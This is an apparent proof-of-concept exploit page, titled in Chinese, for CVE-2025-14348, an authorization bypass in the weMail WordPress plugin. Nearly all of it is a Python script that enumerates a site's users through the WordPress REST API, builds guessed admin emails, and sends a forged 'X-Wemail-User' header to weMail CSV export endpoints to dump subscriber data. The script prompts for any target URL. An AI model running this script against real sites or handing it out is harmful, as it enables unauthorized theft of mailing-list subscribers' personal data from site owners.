CVE-2025-14348 weMail WordPress插件授权绕过漏洞

import requests import json # CVE-2025-14348 PoC - weMail Authorization Bypass # Target: WordPress site with weMail plugin <= 2.0.7 def enumerate_users(target_url): """Enumerate WordPress users via REST API""" users = [] endpoint = f"{target_url.rstrip('/')}/wp-json/wp/v2/users" try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: users_data = response.json() for user in users_data: users.append({ 'id': user.get('id'), 'email': user.get('slug') + '@' + target_url.split('//')[1].split('/')[0], 'name': user.get('name') }) except Exception as e: print(f"[-] Error enumerating users: {e}") return users def exploit_csv_export(target_url, admin_email): """Exploit authorization bypass to access CSV subscriber data""" endpoints = [ '/wp-json/wemail/v1/csv/export', '/wp-json/wemail/v1/csv/subscribers', '/wp-json/wemail/v1/export/subscribers' ] headers = { 'X-Wemail-User': admin_email, 'Content-Type': 'application/json' } for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS: Exposed CSV data via {endpoint}") print(f"[+] Response: {response.text[:500]}") return response.json() elif response.status_code == 401: print(f"[-] Endpoint {endpoint} returned 401") else: print(f"[*] Endpoint {endpoint} returned {response.status_code}") except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") return None def main(): target = input("Enter target WordPress URL: ").strip() print(f"[*] Enumerating users from {target}...") users = enumerate_users(target) if not users: print("[-] No users found or enumeration failed") return print(f"[+] Found {len(users)} users") for user in users: print(f" - {user['name']}: {user['email']}") if users: admin_email = users[0]['email'] print(f"\n[*] Attempting exploitation with user: {admin_email}") exploit_csv_export(target, admin_email) if __name__ == "__main__": main()